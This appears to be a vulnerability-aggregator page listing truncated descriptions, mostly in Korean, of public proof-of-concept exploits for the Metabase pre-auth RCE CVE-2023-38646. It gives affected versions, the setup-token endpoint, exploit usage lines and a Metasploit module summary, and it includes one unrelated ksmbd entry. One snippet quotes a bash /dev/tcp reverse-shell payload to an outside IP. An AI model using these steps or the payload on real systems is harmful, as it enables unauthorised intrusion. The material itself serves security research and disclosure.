CVE-2023-38646

Metabase 사전 인증 RCE CVE-2023-38646 두 개의 파일을 제공합니다:- CVE-2023-38646-POC.py - Metabase 인스턴스가 setup-token을 누출하는지 확인하는 스크립트입니다. CVE-2023-38646-Reverse-Shell.py - 공격자가 제어하는 머신에서 리버스 셸을 얻는 스크립트입니다. CVE-2023-38646-POC.py CVE-2023-38646-Reverse-Shell.py 사용 방법 git clone...

Exploit-CVE-2023-38646-Metabase

Exploit CVE-2023-38646 Metabase 0.46.6.1 미만 오픈소스 및 1.46.6.1 미만 Enterprise 버전 대상 Metabase 0.46.6.1 미만 오픈소스 및 1.46.6.1 미만 Enterprise 버전에서 발견된 원격 코드 실행RCE 취약점에 대한 익스플로잇입니다. 이 취약점은 공격자가 서버의 권한 수준으로 임의 명령을 실행할 수 있게 하며, 인증 없이 악용이 가능합니다. 이 익스플로잇을 실행하려면 setup-token을 획득해야 합니다. 웹사이트에서...

CVE-2023-38646-PoC

CVE-2023-38646 - Metabase 事前認証RCE Metabaseオープンソース版 0.46.6.1 より前、および Metabase Enterprise 1.46.6.1 より前のバージョンでは、攻撃者がサーバの権限レベルで任意のコマンドを実行できます。認証は不要です。その他の修正バージョンは 0.45.4.1、1.45.4.1、0.44.7.1、1.44.7.1、0.43.7.2、1.43.7.2 です。 PoC 手順 1. http://vulnerablehost.com/api/session/properties に移動する 2...

metabase-pre-auth-rce-poc

Metabase 사전 인증 RCE CVE-2023-38646 POC 이 스크립트는 Python으로 작성되었으며, CVE-2023-38646 에 설명된 Metabase 소프트웨어 보안 결함을 악용할 수 있습니다. 취약한 버전은 오픈소스 에디션의 경우 0.46.6.1 이전, 엔터프라이즈 에디션의 경우 1.46.6.1 이전입니다. 사용법 스크립트에는 대상 URL , 설정 토큰setup token , 실행할 명령어command 가 필요합니다. 설정 토큰은 /api/session/properties 엔드포인트를 통해 얻을 수 있습니다...

CVE-2023-38646

Metabase 사전 인증 RCE CVE-2023-38646 PoC 이 Python 스크립트는 Metabase 로그인 소프트웨어의 원격 코드 실행 취약점을 악용합니다. 이를 통해 인증 전에 서버에서 임의의 명령을 실행할 수 있습니다. 취약한 버전은 Metabase 오픈 소스 0.46.6.1 이전 및 Metabase Enterprise 1.46.6.1 이전입니다. 사용법 python3 exploit.py -u URL -t TOKEN -c COMMAND 인자 -h, --help 도움말 메시지를 표시하고 종료합니다 -u URL,...

MetabaseRCE_CVE-2023-38646

Metabase 사전 인증 RCE CVE-2023-38646 PoC CVE-2023-38646에 대한 개념 증명PoC으로, /api/session/properties에서 찾을 수 있는 설정 토큰을 활용하여 base64로 인코딩된 페이로드를 전송함으로써 사용자가 원격 코드 실행RCE을 수행할 수 있게 하는 Metabase 익스플로잇입니다. 사용법 ./MetabaseRCECVE-2023-38646 -u target url -t target token -c command...

CVE-2023-38646

CVE-2023-38646 Metabase 사전 인증 RCE 2023년 11월 26일 Metabase 오픈 소스 0.46.6.1 이전 버전 및 Metabase Enterprise 1.46.6.1 이전 버전에서는 공격자가 서버의 권한 수준으로 서버에서 임의의 명령을 실행할 수 있습니다. 악용에는 인증이 필요하지 않습니다. 기타 수정된 버전은 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2 및 1.43.7.2입니다. 이 취약점은 애플리케이션이 api/setup/validate 내에서...

CVE-2023-38646

CVE-2023-38646 원본 스크립트는 securezeron에서 가져왔습니다. 테스트 과정에서 이 PoC가 생성한 리버스 셸이 base64 인코딩 후 끝의 '=' 문자 때문에 활용에 실패하는 것을 발견했습니다. 이를 약간 수정하여 문제를 해결했습니다. 원래의 reverse shell 페이로드를 생성하는 코드 base64.b64encode"bash -i &/dev/tcp/10.10.14.59/8080 0&1".encode.decode...

AZL-35452 CVE-2024-26594 affecting package hyperv-daemons for versions less than 5.15.153.1-1

In the Linux kernel, the following vulnerability has been resolved: ksmbd: validate mech token in session setup If client send invalid mech token in session setup request, ksmbd validate and make the error if it is invalid...

Exploit for CVE-2023-38646

Exploit CVE-2023-38646 Metabase before 0.46.6.1 open source...

Metabase 0.46.6 Remote Code Execution

Exploit Title: metabase 0.46.6 - Pre-Auth Remote Code Execution Google Dork: N/A Date: 13-10-2023 Exploit Author: Musyoka Ian Vendor Homepage: https://www.metabase.com/ Software Link: https://www.metabase.com/ Version: metabase 0.46.6 Tested on: Ubuntu 22.04, metabase 0.46.6 CVE : CVE-2023-38646...

Exploit for CVE-2023-38646

CVE-2023-38646 Metabase Pre-Auth RCE 11/26/2023 Metabase ope...

Exploit for CVE-2023-38646

CVE-2023-38646 Python script to exploit CVE-2023-38646 Metabas...

Exploit for CVE-2023-38646

CVE-2023-38646 Python script to exploit CVE-2023-38646 Metabas...

Exploit for CVE-2023-38646

Metabase Pre-Auth RCE CVE-2023-38646 POC This is a python sc...

Exploit for CVE-2023-38646

Metabase Pre-Auth RCE CVE-2023-38646 POC This is a script w...

Metabase Remote Code Execution

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Metabase Setup Token RCE', 'Description' = %q Metabase versions before 0.46.6.1 contain a flaw where the secret setup-token is accessible even...

Metabase Setup Token RCE

Metabase versions before 0.46.6.1 contain a flaw where the secret setup-token is accessible even after the setup process has been completed. With this token a user is able to submit the setup functionality to create a new database. When creating a new database, an H2 database string is created wi...